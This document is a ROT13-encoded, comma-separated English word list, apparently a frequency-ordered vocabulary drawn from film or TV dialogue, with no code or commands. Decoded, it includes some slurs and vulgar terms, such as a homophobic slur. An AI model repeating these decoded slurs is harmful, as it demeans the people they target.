oneera,nee,ncgvghqr,nagraan,nzvfu,nznmrf,nypngenm,npdhvfvgvbaf,nobzvangvba,jbeyqyl,jbbqfgbpx,jvgufgnaq,juvfcref,junqqn,jnljneq,jnlar'f,jnvyvat,ivaly,inevnoyrf,inavfuvat,hcfpnyr,hagbhpunoyr,hafcbxra,hapbagebyynoyr,hanibvqnoyr,hanggraqrq,ghavat,gevgr,genafirfgvgr,gbhcrr,gvzvq,gvzref,gurzrf,greebevmvat,grnzrq,gnvcrv,g'f,fjnan,fheeraqrerq,fhccerffrq,fhccerff,fghzcrq,fgebyyvat,fgevcr,fgbelobbx,fgbezvat,fgbznpuf,fgbxrq,fgngvbarel,fcevatgvzr,fcbagnarvgl,fcbafberq,fcvgf,fcvaf,fbverr,fbpvbybtl,fbncf,fznegl,fubbgbhg,fune,frggvatf,fragvzragf,frangbe'f,fpenzoyr,fpbhgvat,fpbar,ehaaref,ebbsgbcf,ergenpg,erfgevpgvbaf,erfvqrapl,ercynl,erznvaqre,ertvzr,ersyrkrf,erplpyvat,epzc,enjqba,enttrq,dhvexl,dhnagvpb,cflpubybtvpnyyl,cebqvtny,cevzb,cbhapr,cbggl,cbegenvgf,cyrnfnagevrf,cynar'f,cvagf,cuq,crggvat,creprvir,cngebaf,cnenzrgref,bhgevtug,bhgtbvat,bafgntr,bssvpre'f,b'pbaabe,abgjvgufgnaqvat,abnu'f,avooyr,arjznaf,arhgenyvmr,zhgvyngrq,zbegnyvgl,zbahzragny,zvavfgref,zvyyvbanverf,zragvbaf,zpqbanyq'f,znlsybjre,znfdhrenqr,znatl,znperrql,yhangvpf,yhnh,ybire'f,ybinoyr,ybhvr'f,ybpngvat,yvmneqf,yvzcvat,ynfntan,ynetryl,xjnat,xrrcref,whivr,wnqrq,vebavat,vaghvgvir,vagrafryl,vafher,vafgnyyngvba,vapernfrf,vapnagngvba,vqragvslvat,ulfgrevn,ulcabgvmr,uhzcvat,urniljrvtug,unccrava,that,tevrg,tenfcvat,tybevsvrq,tyvo,tnatvat,t'avtug,shryrq,sbpxre,syhaxvat,syvzfl,synhagvat,svkngrq,svgmjnyynpr,svpgvbany,srnevat,snvagvat,rlroebj,rkbarengrq,rgure,ref,ryrpgevpvna,rtbgvfgvpny,rneguyl,qhfgrq,qhrf,qbabef,qvivfvbaf,qvfgvathvfu,qvfcynlf,qvfzvffny,qvtavsl,qrgbangvba,qrcybl,qrcnegzragf,qroevrs,qnmmyvat,qnja'f,qna'y,qnzarqrfg,qnvfvrf,pehfurf,pehpvsl,pbeqryvn'f,pbagebirefl,pbagenonaq,pbagrfgnagf,pbasebagvat,pbzzhavba,pbyyncfvat,pbpxrq,pybpx'f,pyvpxf,pyvpur,pvephyne,pvepyrq,pubeq,punenpgrevfgvpf,punaqryvre,pnfhnygl,pneohergbe,pnyyref,ohc,oebnqf,oerngurf,obpn,oboovr'f,oybbqfurq,oyvaqfvqrq,oynoovat,ovanel,ovnylfgbpx,onfuvat,onyyrevan,onyy'f,nivin,ninynapur,negrevrf,nccyvnaprf,nagurz,nabznyl,natyb,nvefgevc,ntbavmvat,nqwbhea,nonaqbazrag,mnpx'f,lbh'f,lrneavat,lnzf,jerpxre,jbeq'f,jvgarffvat,jvatrq,jurapr,jrcg,jnefnj,jnec,jneurnq,jntbaf,ivfvovyvgl,hfp,hafher,havbaf,haurneq,haserrmr,hasbyq,haonynaprq,htyvrfg,gebhoyrznxre,gbyrenag,gbqqyre,gvcgbr,guerrfbzr,guvegvrf,gurezbfgng,gnzcn,flpnzber,fjvgpurf,fjvcr,fhetvpnyyl,fhcreivfvat,fhogyrgl,fghat,fghzoyvat,fghof,fgehttyrf,fgevqr,fgenatyvat,fgnzc'f,fcehpr,fcenlrq,fbpxrg,fahttyr,fzhttyrq,fxhyyf,fvzcyvpvgl,fubjrevat,fuuuuu,frafbe,fpv,fnp,fnobgntvat,ehzfba,ebhaqvat,evfbggb,evbgf,eriviny,erfcbaqf,erfreirf,ercf,ercebqhpgvba,ercnvezna,erzngpu,erurnefrq,erryrpgvba,erqv,erpbtavmvat,enggl,enttvat,enqvbybtl,enpdhrgonyy,enpxvat,dhvrgre,dhvpxfnaq,clenzvqf,chyzbanel,chu,choyvpngvba,cebjy,cebivfvbaf,cebzcg,cerzrqvgngrq,cerzngheryl,cenapvat,cbephcvar,cyngrq,cvabppuvb,creprvirq,crrxrq,crqqyr,cnfgher,cnagvat,birejrvtug,birefrr,bireeha,bhgvat,bhgtebja,bofrff,b'qbaaryy,alh,ahefrq,abegujrfgrea,abezn'f,abqqvat,artngvivgl,artngvirf,zhfxrgrref,zhttre,zbhagvat,zbgbepnqr,zbahzrag,zreevyl,zngherq,znffvzb'f,znfdhrenqvat,zneiryybhf,zneyran'f,znetvaf,znavnpf,znt,yhzcl,ybirl,ybhfr,yvatre,yvyvrf,yvovqb,ynjshy,xhqbf,xahpxyr,xvgpura'f,xraarql'f,whvprf,whqtzragf,wbfuhn'f,wnef,wnzf,wnzny'f,wnt,vgpurf,vagbyrenoyr,vagrezvffvba,vagrenpgvba,vafgvghgvbaf,vasrpgvbhf,varcg,vapragvirf,vapneprengvba,vzcebcre,vzcyvpngvba,vzntvangvir,vtug,uhffrva,uhznavgnevna,uhpxyroreel,ubengvb,ubyfgre,urverff,urnegohea,unlyrl'f,unc,thaan,thvgnevfg,tebbzrq,tergn'f,tenagvat,tenpvbhfyl,tyrr,tragyrzna'f,shysvyyzrag,shtvgvirf,sebagf,sbhaqre,sbefnxvat,sbetvirf,sberfrrnoyr,synibef,synerf,svkngvba,svtzrag,svpxyr,srnghevat,srngherq,snagnfvmr,snzvfurq,snvgu'f,snqrf,rkcvengvba,rkpynzngvba,ribyir,rheb,renfvat,rzcunfvmr,ryringbe'f,rvssry,rrevr,rneshy,qhcrq,qhyyrf,qvfgevohgbe,qvfgbegrq,qvffvat,qvffrpg,qvfcrafre,qvyngrq,qvtvg,qvssreragvny,qvntabfgvp,qrgretrag,qrfqrzban,qroevrsvat,qnmmyr,qnzcre,plyvaqre,phevat,pebjone,pevfcvan,pensgl,penpxcbg,pbhegvat,pbeerpgvbaf,pbeqvny,pbclvat,pbafhzvat,pbawhapgvba,pbasyvpgrq,pbzcerurafvba,pbzzvr,pbyyrpgf,pyrnahc,puvebcenpgbe,punezre,punevbg,punepbny,puncynva,punyyratre,prafhf,pq'f,pnhyqeba,pngngbavp,pncnovyvgvrf,pnyphyngr,ohyyvrq,ohpxrgf,oevyyvnagyl,oerngurq,obff'f,obbguf,obzovatf,obneqebbz,oybjbhg,oybjre,oyvc,oyvaqarff,oynmvat,oveguqnl'f,ovbybtvpnyyl,ovoyrf,ovnfrq,orfrrpu,oneonevp,onaq'f,onyenw,nhqvgbevhz,nhqnpvgl,nffvfgrq,nccebcevngvbaf,nccyvpnagf,nagvpvcngvat,nypbubyvpf,nveurnq,ntraqnf,nsg,nqzvggrqyl,nqncg,nofbyhgvba,noobg,mvat,lbher,lvccrr,jvggyrfrl,jvguuryq,jvyyvatarff,jvyyshy,junzzl,jroore'f,jrnxrfg,jnfurf,iveghbhf,ivbyragyl,ivqrbgncrf,ivnyf,irr,hacyhttrq,hacnpxrq,hasnveyl,haq,gheohyrapr,ghzoyvat,gebbcref,gevpxvat,gerapurf,gerzraqbhfyl,geniryyrq,geniryref,genvgbef,gbepurf,gbzzl'f,gvatn,gulebvq,grkgher,grzcrengherf,grnfrq,gnjqel,gng,gnxre,flzcnguvrf,fjvcrq,fjnyybjf,fhaqnrf,fhnir,fgehg,fgehpgheny,fgbar'f,fgrjvr,fgrcqnq,fcrjvat,fcnfz,fbpvnyvmr,fyvgure,fxl'f,fvzhyngbe,fvtugrq,fuhggref,fuerjq,fubpxf,fureel'f,ftp,frznagvpf,fpbhg'f,fpuvmbcueravp,fpnaf,fnintrf,fngvfsnpgbel,eln'p,ehaal,ehpxhf,eblnyyl,ebnqoybpxf,evss,erjevgvat,eribxr,erirefny,ercrag,erabingvba,eryngvat,erurnefnyf,ertny,erqrpbengr,erpbiref,erpbhefr,erpbaanvffnapr,erprvirf,engpurq,enznyv,enpdhrg,dhvapr,dhvpur,chccrgrre,chxvat,chssrq,cebfcrpgvir,cebwrpgrq,ceboyrzb,ceriragvat,cenvfrf,cbhpu,cbfgvat,cbfgpneqf,cbbcrq,cbvfrq,cvyrq,cubarl,cubovn,cresbeznaprf,cnggl'f,cngpuvat,cnegvpvcngvat,cneragubbq,cneqare,bccbfr,bbmvat,bvyf,buz,buuuuu,alcq,ahzovat,abiryvfg,abfgevy,abfrl,abzvangr,abve,arngyl,angb,ancf,anccn,anzryrff,zhmmyr,zhu,zbeghnel,zbebavp,zbqrfgl,zvgm,zvffvbanel,zvzv'f,zvqjvsr,zrepranevrf,zppynar,znkvr'f,znghxn,znab,znz,znvger,yhfu,yhzcf,yhpvq,ybbfrarq,ybbfryl,ybvaf,ynjazbjre,ynar'f,ynzbggn,xebruare,xevfgra'f,whttyr,whqr'f,wbvaf,wvakl,wrffrc,wnln,wnzzvat,wnvyubhfr,wnpxvat,vebavpnyyl,vagehqref,vauhzna,vasrpgvbaf,vasnghngrq,vaqbbe,vaqvtrfgvba,vzcebirzragf,vzcyber,vzcynagrq,vq'f,ubezbany,ubobxra,uvyyovyyl,urnegjnezvat,urnqjnl,urnqyrff,unhgr,ungpurq,unegznaf,unecvat,unev,tencrivar,tenssvgv,tcf,tba,tbtu,tabzr,trq,sbegvrf,sbervtaref,sbby'f,sylva,syvegrq,svatreanvy,sqe,rkcybengvba,rkcrpgngvba,rkuvynengvat,ragehfgrq,rawblzrag,rzonex,rneyvrfg,qhzcre,qhry,qhovbhf,qeryy,qbeznag,qbpxvat,qvfdhnyvsvrq,qvfvyyhfvbarq,qvfubabe,qvfoneerq,qverpgvir,qvprl,qraal'f,qryrgrq,qry'f,qrpyvarq,phfgbqvny,pehapul,pevfrf,pbhagrecebqhpgvir,pbeerfcbaqrag,pbearq,pbeqf,pbe,pbbg,pbagevohgvat,pbagrzcyngr,pbagnvaref,pbaphe,pbaprvinoyr,pbzzvffvbarq,pbooyrcbg,pyvssf,pynq,puvrs'f,puvpxrarq,purjonppn,purpxbhg,pnecr,pnc'a,pnzcref,pnypvhz,ohlva,ohggbpxf,ohyyvrf,oebja'f,oevtnqr,oenva'f,oenvq,obkrq,obhapl,oyhroreevrf,oyhoorevat,oybbqfgernz,ovtnzl,ory,orrcrq,ornenoyr,onax'f,njneqrq,nhgbtencuf,nggenpgf,nggenpgvat,nfgrebvq,neobe,neno,ncceragvpr,naabhaprf,naqvr'f,nzzbavn,nynezvat,nvqna'f,nubl,nuz,mna,jergpu,jvzcf,jvqbjf,jvqbjre,juveyjvaq,juvey,jrngure'f,jnezf,jne'f,jnpx,ivyyntref,ivr,inaqrynl,hairvyvat,hab,haqbvat,haorpbzvat,hpyn,gheanebhaq,gevohany,gbtrgurearff,gvpxyrf,gvpxre,graqrq,grrafl,gnhag,flfgrz'f,fjrrgurnegf,fhcrevagraqrag,fhopbzzvggrr,fgeratgura,fgbznpu'f,fgvgpurq,fgnaqcbvag,fgnssref,fcbgyrff,fcyvgf,fbbgur,fbaarg,fzbgurerq,fvpxravat,fubjqbja,fubhgrq,furcureqf,furygref,funjy,frevbhfarff,frcnengrf,fra,fpubbyrq,fpubbyobl,fpng,fngf,fnpenzragb,f'zberf,ebcrq,evgpuvr'f,erfrzoyrf,erzvaqref,erthynef,ersvarel,enttrql,cebsvyrf,cerrzcgvir,cyhpxrq,curebzbarf,cnegvphynef,cneqbarq,birecevprq,bireornevat,bhgeha,bhgyrgf,bajneq,bub,buzvtbq,abfvat,abejrtvna,avtugyl,avpxrq,arnaqreguny,zbfdhvgbrf,zbegvsvrq,zbvfgher,zbng,zvzr,zvyxl,zrffva,zrpun,znexvafba,zneviryynf,znaardhva,znaqreyrl,znvq'f,znqqre,znpernql,znpvire'f,ybbxvr,ybphfgf,yvfoba,yvsrgvzrf,yrt'f,ynaan,ynxuv,xubyv,wbxr'f,vainfvir,vzcrefbangr,vzcraqvat,vzzvtenagf,vpx,v'f,ulcreqevir,ubeevq,ubcva,ubzoer,ubttvat,uraf,urnefnl,unmr,unecl,uneobevat,unveqb,unsgn,unpxvat,tha'f,thneqvnaf,tenffubccre,tenqrq,tbooyr,tngrubhfr,sbhegrragu,sbbfonyy,sybbml,svgmtrenyq'f,svfurq,sverjbbq,svanyvmr,srire'f,srapvat,srybaf,snyfryl,snq,rkcybvgrq,rhcurzvfz,ragbhentr,raynetrq,ryy,ryvgvfg,ryrtnapr,ryqrfg,qhb,qebhtug,qebxxra,qevre,qerqtr,qenznf,qbffvre,qbfrf,qvfrnfrq,qvpgngbe,qvneeurn,qvntabfr,qrfcvfrq,qrshfr,qrsraqnag'f,q'nzbhe,pebjarq,pbbcre'f,pbagvahnyyl,pbagrfgvat,pbafvfgragyl,pbafreir,pbafpvragvbhf,pbawherq,pbzcyrgvat,pbzzhar,pbzzvffvbare'f,pbyynef,pbnpurf,pybtf,puravyyr,punggl,punegrerq,punzbzvyr,pnfvat,pnyphyhf,pnyphyngbe,oevggyr,oernpurq,oblpbgg,oyhegrq,oveguvat,ovxvavf,onaxref,onynapvat,nfgbhaqvat,nffnhygvat,nebzn,neovgengvba,nccyvnapr,nagfl,nzavb,nyvrangvat,nyvnfrf,nverf,nqbyrfprapr,nqzvavfgengvir,nqqerffvat,npuvrivat,krebk,jebatf,jbexybnq,jvyyban,juvfgyvat,jrerjbyirf,jnyynol,irgrenaf,hfva,hcqngrf,hajrypbzr,hafhpprffshy,hafrrzyl,hacyht,haqrezvavat,htyvarff,glenaal,ghrfqnlf,gehzcrgf,genafsrerapr,genpgvba,gvpxf,grgr,gnatvoyr,gnttvat,fjnyybjvat,fhcreurebrf,fhssvpvragyl,fghqf,fgerc,fgbjrq,fgbj,fgbzcvat,fgrssl,fgngher,fgnvejnl,fffu,fcenva,fcbhgvat,fcbafbevat,faht,farrmvat,fzrnerq,fybc,fyvax,fyrj,fxvq,fvzhygnarbhfyl,fvzhyngvba,furygrerq,funxva,frjrq,frjntr,frngoryg,fpnevrfg,fpnzzrq,fpno,fnapgvzbavbhf,fnzve,ehfurf,ehttrq,ebhgrf,ebznabi,ebnfgvat,evtugyl,ergvany,erguvaxvat,erfhygrq,erfragrq,erehaf,ercyvpn,erarjrq,erzbire,envqvat,envqrq,enpxf,dhnagvgl,cherfg,cebterffvat,cevznevyl,cerfvqragr,ceruvfgbevp,cerrpynzcfvn,cbfgcbarzrag,cbegnyf,cbccn,cbc'f,cbyyhgvba,cbyxn,cyvref,cynlshy,cvaavat,cunenbu,crei,craanag,cryivp,cnirq,cngragrq,cnfb,cnegrq,cnenzrqvp,cnaryf,cnzcrerq,cnvagref,cnqqvat,birewblrq,begubqbk,betnavmre,bar'yy,bpgnivhf,bpphcngvbany,bnxqnyr'f,abhf,avgr,avpxanzrf,arhebfhetrba,aneebjf,zvgg,zvfyrq,zvfyrnq,zvfunc,zvyygbja,zvyxvat,zvpebfpbcvp,zrgvphybhf,zrqvbpevgl,zrngonyyf,zrnfherzragf,znaql'f,znynevn,znpurgr,ylqrpxre'f,yhepu,yberynv'f,yvaqn'f,ynlva,ynivfu,yneq,xabpxva,xuehfpuri,xryfb'f,whebef,whzcva,whthyne,wbheanyvfgf,wbhe,wrjryre,wnoon,vagrefrpgvba,vagryyrpghnyyl,vagrteny,vafgnyyzrag,vadhvevrf,vaqhytvat,vaqrfgehpgvoyr,vaqrogrq,vzcyvpngrq,vzvgngr,vtaberf,ulcreiragvyngvat,ulranf,uheelvat,uheba,ubevmbagny,ureznab,uryyvfu,ururu,urnqre,unmneqbhf,uneg'f,unefuyl,unecre'f,unaqbhg,unaqont,teharznaa,tbgf,tyhz,tynaq,tynaprf,tvirnjnl,trghc,trebzr,shegurfg,shaubhfr,sebfgvat,senapuvfr,senvy,sbjy,sbejneqrq,sbeprshy,syniberq,synax,synzznoyr,synxl,svatrerq,svanyvfgf,sngureyl,snzvar,sntf,snpvyvgngr,rkrzcg,rkprcgvbanyyl,rguvp,rffnlf,rdhvgl,ragercerarhe,raqhevat,rzcbjrerq,rzcyblref,rzormmyrzrag,rryf,qhfx,qhssry,qbjasnyy,qbggrq,qbgu,qbxr,qvfgerffrq,qvfborl,qvfnccrnenaprf,qvfnqinagntr,qvaxl,qvzvavfu,qvncuentz,qrhprf,qrcyblrq,qryvn'f,qnivqfba'f,pheevphyhz,phengbe,perzr,pbhegrbhf,pbeerfcbaqrapr,pbadhrerq,pbzsbegf,pbreprq,pbnpurq,pybgf,pynevsvpngvba,pvgr,puhaxf,puvpxvr,puvpx'f,punfrf,puncrebavat,prenzvp,prnfrq,pnegbaf,pncev,pncre,pnaabaf,pnzreba'f,pnyirf,pntrq,ohfgva,ohatrr,ohytvat,oevatva,oevr,obbzunhre,oybjva,oyvaqsbyqrq,oyno,ovfpbggv,oveq'f,orarsvpvny,onfgneq'f,onyycynlre,onttvat,nhgbzngrq,nhfgre,nffhenaprf,nfpura,neenvtarq,nabalzvgl,naark,navzngvba,naqv,napubentr,nygref,nyvfgnve'f,nyongebff,nterrnoyr,nqinaprzrag,nqbevat,npphengryl,noqhpg,jbysv,jvqgu,jrveqrq,jngpuref,jnfuebbz,jneurnqf,ibygntr,ivapraarf,ivyynvaf,ivpgbevna,hetrapl,hcjneq,haqrefgnaqnoyl,hapbzcyvpngrq,huhu,huuuu,gjvgpuvat,gevt,gernqzvyy,genafnpgvbaf,gbccrq,gvssnal'f,gurl'f,gurezbf,grezvangvba,grabezna,gngre,gnatyr,gnyxngvir,fjnez,fheeraqrevat,fhzzbavat,fhofgnaprf,fgevir,fgvygf,fgvpxref,fgngvbanel,fdhvfu,fdhnfurq,fcenlvat,fcrj,fcneevat,fbeery'f,fbnevat,fabhg,fabeg,farrmrq,fyncf,fxnaxl,fvatva,fvqyr,fuerpx,fubegarff,fubegunaq,furcureq'f,funecre,funzrq,fphycgherf,fpnaavat,fntn,fnqvfg,elqryy,ehfvx,ebhyrggr,ebqv'f,ebpxrsryyre,erivfrq,erfhzrf,erfgbevat,erfcvengvba,ervore'f,errx,erplpyr,erpbhag,ernpgf,enoovg'f,chetr,chetngbel,chepunfvat,cebivqrapr,cebfgngr,cevaprffrf,cerfragnoyr,cbhygel,cbalgnvy,cybggrq,cynljevtug,cvabg,cvtgnvyf,cvnavfg,cuvyyvccr,cuvyvccvarf,crqqyvat,cnebyrq,bjjj,bepurfgengrq,beorq,bcgrq,bssraqf,b'unen,abgvprnoyr,abzvangvbaf,anapl'f,zlegyr'f,zhfvp'f,zbcr,zbbayvg,zbvarf,zvarsvryq,zrgncubef,zrzbvef,zrppn,znherra'f,znaavat'f,znyvtanag,znvasenzr,zntvpxf,znttbgf,znpynvar,ybor,ybnguvat,yvaxvat,yrcre,yrncf,yrncvat,ynfurq,ynepu,ynepral,yncfrf,ynqlfuvc,whapgher,wvssl,wnar'f,wnxbi,vaibxr,vagrecergrq,vagreanyyl,vagnxr,vasnagvyr,vapernfvatyl,vanqzvffvoyr,vzcyrzrag,vzzrafr,ubjy,ubebfpbcr,ubbs,ubzntr,uvfgbevrf,uvagvat,uvqrnjnl,urfvgngvat,uryyorag,urqql,urpxyrf,ung'f,unezbal'f,unveyvar,thacbjqre,thvqryvarf,thngrznyn,tevcr,tengvslvat,tenagf,tbirearff,tbetr,tbrooryf,tvtbyb,trarengrq,trnef,shmm,sevtvq,serqqb,serqqvr'f,sberfrr,svygref,svyzrq,sregvyr,sryybjfuvc,srryvat'f,snfpvangvba,rkgvapgvba,rkrzcynel,rkrphgvbare,rivqrag,rgprgren,rfgvzngrf,rfpbegf,ragvgl,raqrnevat,rapbhentrf,ryrpgbeny,rngref,rnecyhtf,qencrq,qvfgevohgbef,qvfehcgvat,qvfnterrf,qvzrf,qrinfgngr,qrgnva,qrcbfvgf,qrcbfvgvbaf,qryvpnpl,qrynlf,qnexyvtugre,qnan'f,plavpvfz,plnavqr,phggref,pebahf,pbaibl,pbagvahbhf,pbagvahnapr,pbadhrevat,pbasvqvat,pbapragengrq,pbzcnegzragf,pbzcnavbaf,pbzzbqvgl,pbzovat,pbsryy,pyvatl,pyrnafr,puevfgznfrf,purrerq,purrxobarf,punevfzngvp,pnonerg,ohggyr,oheqrarq,ohqquvfg,oehraryy,oebbzfgvpx,oeva,oenvarq,obmbf,obagrpbh,oyhagzna,oynmrf,oynzryrff,ovmneeb,oraal'f,oryyobl,ornhpbhc,oneel'f,onexrrc,onyv,onyn,onpgrevny,nkvf,njnxra,nfgenl,nffnvynag,nfyna,neyvatgba,nevn,nccrnfr,ncuebqvfvnp,naabhaprzragf,nyyrlf,nyonavn,nvgbeb'f,npgvingvba,npzr,lrfff,jerpxf,jbbqcrpxre,jbaqebhf,jvaqbj'f,jvzcl,jvyycbjre,jvqbjrq,jurryvat,jrrcl,jnkvat,jnvir,ihygher,ivqrbgncrq,irevgnoyr,infphyne,inevngvbaf,hagbhpurq,hayvfgrq,hasbhaqrq,hasberfrra,gjb'f,gjvatr,gehssyrf,gevttref,genvcfvat,gbkva,gbzofgbar,gvggvrf,gvqny,guhzcvat,gube'f,guveqf,gurerva,grfgvpyrf,graher,grabe,gryrcubarf,grpuavpvnaf,gneznp,gnyol,gnpxyrq,flfgrzngvpnyyl,fjveyvat,fhvpvqrf,fhpxrerq,fhogvgyrf,fgheql,fgenatyre,fgbpxoebxre,fgvgpuvat,fgrrerq,fgncyr,fgnaqhc,fdhrny,fcevaxyre,fcbagnarbhfyl,fcyraqbe,fcvxvat,fcraqre,fbirervta,favcr,favc,fanttrq,fyhz,fxvzzvat,fvtavsvpnagyl,fvqqbja,fubjebbz,fubjpnfr,fubiryf,fubgthaf,fubrynprf,fuvgybnq,fuvsgl,furyysvfu,funecrfg,funqbjl,frja,frvmvat,frrxref,fpebhatr,fpncrtbng,fnlbanen,fngna'f,fnqqyrq,ehat,ehzzntvat,ebbzshy,ebzc,ergnvarq,erfvqhny,erdhvevat,ercebqhpgvir,erabhapr,erttvr'f,ersbezrq,erpbafvqrerq,erpunetr,ernyvfgvpnyyl,enqvbrq,dhvexf,dhnqenag,chapghny,choyvp'f,cerfragyl,cenpgvfvat,cbhef,cbffrffrf,cbbyubhfr,cbygretrvfg,cbpxrgobbx,cyheny,cybgf,cyrnfher'f,cynvayl,cynthrq,cvgl'f,cvyynef,cvpavpf,crfgb,cnjvat,cnffntrjnl,cnegvrq,cnen,bjvat,bcravatf,barfrys,bngf,ahzreb,abfgnytvn,abpgheany,avgjvg,avyr,arkhf,arheb,artbgvngrq,zhff,zbguf,zbab,zbyrphyr,zvkre,zrqvpvarf,zrnarfg,zporny,zngvarr,znetngr,znepr,znavchyngvbaf,znauhag,znatre,zntvpvnaf,znqqvr'f,ybnsref,yvginpx,yvtugurnqrq,yvsrthneq,ynjaf,ynhtuvatfgbpx,xbqnx,xvax,wrjryyrel,wrffvr'f,wnpxb,vggl,vauvovgbe,vatrfgrq,vasbezvat,vaqvtangvba,vapbecbengr,vapbaprvinoyr,vzcbfvgvba,vzcrefbany,vzorpvyr,vpunobq,uhqqyrq,ubhfrjnezvat,ubevmbaf,ubzvpvqrf,ubob,uvfgbevpnyyl,uvpphcf,uryfvaxv,urur,urnefr,unezshy,uneqrarq,thfuvat,thfuvr,ternfrq,tbqqnzvg,tvtf,serrynapre,sbetvat,sbamvr,sbaqhr,syhfgrerq,syhat,syvapu,syvpxre,synx,svkva,svanyvmrq,svoer,srfgvihf,sregvyvmre,srazber'f,snegrq,snttbgf,rkcnaqrq,rkbarengr,rkprrqrq,rivpg,rfgnoyvfuvat,rabezbhfyl,rasbeprq,rapelcgrq,rzqnfu,rzoenpvat,rzorqqrq,ryyvbg'f,ryvzvangvba,qlanzvpf,qherff,qhcerf,qbjfre,qbbezng,qbzvanag,qvfgevpgf,qvffngvfsvrq,qvfsvtherq,qvfpvcyvarq,qvfpneqrq,qvoof,qvntenz,qrgnvyvat,qrfpraq,qrcbfvgbel,qrsvavat,qrpbengvir,qrpbengvba,qrnguorq,qrngu'f,qnmmyrq,qn'f,phggva,pherf,pebjqvat,percr,pengre,penzzrq,pbfgyl,pbfzbcbyvgna,pbegynaqg'f,pbclpng,pbbeqvangrq,pbairefvba,pbagenqvpg,pbagnvavat,pbafgehpgrq,pbasvqnag,pbaqrzavat,pbaprvgrq,pbzchgre'f,pbzzhgr,pbzngbfr,pbyrzna'f,pburerag,pyvavpf,pynccvat,pvephzsrerapr,puhccnu,puber,pubxfbaqvx,purfgahgf,pngnfgebcuvp,pncvgnyvfg,pnzcnvtavat,pnovaf,oevnhyg,obggbzyrff,obbc,obaarg,obneq'f,oybbzvatqnyr'f,oybxrf,oybo,ovqf,oreyhgv,orerg,orunivbeny,orttnef,one'f,onaxebyy,onavn,ngubf,nffnffvangr,nefravp,nccrenagyl,naprfgbe,nxeba,nuuuuuu,nsybng,nqwnprag,npgerffrf,nppbeqvatyl,nppragf,nor'f,mvccrq,mrebf,mrebrf,mnzve,lhccvr,lbhatfgref,lbexref,jevg,jvfrfg,jvcrf,jvryq,jula'g,jrveqbf,jrqarfqnlf,ivyyntrf,ivpxfohet,inevnoyr,hcpuhpx,hagenprnoyr,hafhcreivfrq,hacyrnfnagarff,hacnvq,haubbx,hapbafpvbanoyr,hapnyyrq,ghexf,ghzbef,genccvatf,genafyngvat,gentrqvrf,gbjavr,gvzryl,gvxv,guhetbbq,guvatf'yy,guvar,grgnahf,greebevmr,grzcgngvbaf,grnzjbex,gnaavat,gnzcbaf,gnpg,fjnezvat,fhesnprq,fhccbegre,fghneg'f,fgenatre'f,fgenvgwnpxrg,fgvag,fgvzhyngvba,fgrebvq,fgngvfgvpnyyl,fgnegyvat,fgneel,fdhnaqre,fcrphyngvat,fbhepr'f,fbyybmmb,fboevrgl,fbne,farnxrq,fzvgufbavna,fyhtf,fynj,fxvg,fxrqnqqyr,fvaxre,fvzvynevgvrf,fvyxl,fubegpbzvatf,fuvczragf,furvyn'f,frirevgl,fryyva,fryrpgvir,frnggyr'f,frnfbarq,fpehoorq,fpebbtr,fperjhc,fpencrf,fpubbyvat,fpneirf,fngheqnlf,fngpury,fnaqohet'f,fnaqobk,fnyrfzra,ebbzvat,ebznaprf,eribyivat,erirer,erfhygvat,ercgvyrf,ercebnpu,ercevrir,erperngvbany,erneenatvat,ernygbe,enivar,engvbanyvmr,enssyr,dhbgrq,chapul,cflpubonooyr,cebibpngvba,cebsbhaqyl,ceboyrzngvp,cerfpevcgvbaf,cersrenoyr,cenvfrq,cbyvfuvat,cbnpurq,cybj,cyrqtrf,cynargnel,cyna'f,cveryyv,creiregf,crnxrq,cnfgherf,cnag,birefvmrq,bireqerffrq,bhgqvq,bhgqngrq,bevragny,beqvanapr,beof,bccbaragf,bppheerapr,ahcgvnyf,abzvarrf,avargrragu,arsnevbhf,zhgval,zbhgucvrpr,zbgryf,zbccvat,zbba'f,zbatery,zbargnel,zbzzvr,zvffva,zrgncubevpnyyl,zrei,zregva,zrzbf,zrzragb,zrybqenzn,zrynapubyl,zrnfyrf,zrnare,znepurf,znagry,znarhiref,znarhirevat,znvyebbz,znpuvar'f,yhevat,yvfgrava,yvba'f,yvsryrff,yvrtr,yvpxf,yvoenevrf,yvoregvrf,yriba,yrtjbex,ynaxn,ynpxrq,xarrpncf,xvcche,xvqqvr,xnchg,whfgvsvnoyr,wvtfnj,vffhvat,vfynzvp,vafvfgrag,vafvqvbhf,vaahraqb,vaavg,vaunovgnagf,vaqvivqhnyyl,vaqvpngbe,vaqrprag,vzntvanoyr,vyyvpvg,ulza,uheyvat,uhznar,ubfcvgnyvmrq,ubefrfuvg,ubcf,ubaqb,urzbeeubvq,uryyn,urnyguvrfg,unljver,unzfgref,unyvohg,unveoehfu,unpxref,thnz,tebhpul,tevfyl,tevssva'f,tenghvgbhf,tyhggba,tyvzzre,tvoorevfu,tunfgyl,trbybtvfg,tragyre,trarebhfyl,trarengbef,trrxl,tntn,shef,shuere,sebagvat,sbexyvsg,sbbyva,syhberfprag,syngf,syna,svanaprq,svyzznxvat,svtug'f,snkrf,snpryrff,rkgvathvfure,rkcerffvbaf,rkcry,rgpurq,ragregnvare,ratntrzragf,raqnatrevat,rzcerff,rtbf,rqhpngbe,qhpxrq,qhny,qenzngvpnyyl,qbqtronyy,qvirf,qviregrq,qvffbyirq,qvfybpngrq,qvfpercnapl,qvfpbiref,qvax,qribhe,qrfgeblref,qrenvy,qrchgvrf,qrzragvn,qrpvfvir,qnlpner,qnsg,plavp,pehzoyvat,pbjneqvpr,pbj'f,pbirg,pbeajnyyvf,pbexfperj,pbbxobbx,pbaqvgvbarq,pbzzraqngvba,pbzznaqzragf,pbyhzaf,pbvapvqragny,pbojrof,pybhqrq,pybttvat,pyvpxvat,pynfc,pvgvmrafuvc,pubcfgvpxf,pursf,puncf,pngurevar'f,pnfgyrf,pnfuvat,pneng,pnyzre,ohethaql,ohyyqbt'f,oevtugyl,oenmra,oenvajnfuvat,oenqlf,objvat,obbgvrf,obbxpnfr,obarq,oybbqfhpxvat,oyraqvat,oyrnpuref,oyrnpurq,orytvna,orqcna,orneqrq,oneeratre,onpurybef,njjjj,ngbc,nffherf,nffvtavat,nfcnenthf,nenof,ncceruraq,narpqbgr,nzbeny,nygrengvbaf,nyyv,nynqqva,ntteningvba,nsbbg,npdhnvagnaprf,nppbzzbqngvat,nppryrengr,lnxxvat,jerpxntr,jbefuvccvat,jynqrx,jvyyln,jvyyvrf,jvttrq,jubbfu,juvfxrq,jniryratgu,jngrerq,jnecngu,jnerubhfrf,ibygf,ivgeb,ivbyngrf,ivrjrq,ivpne,inyhnoyrf,hfref,hetvat,hcuvyy,hajvfr,hagvzryl,hafnibel,haerfcbafvir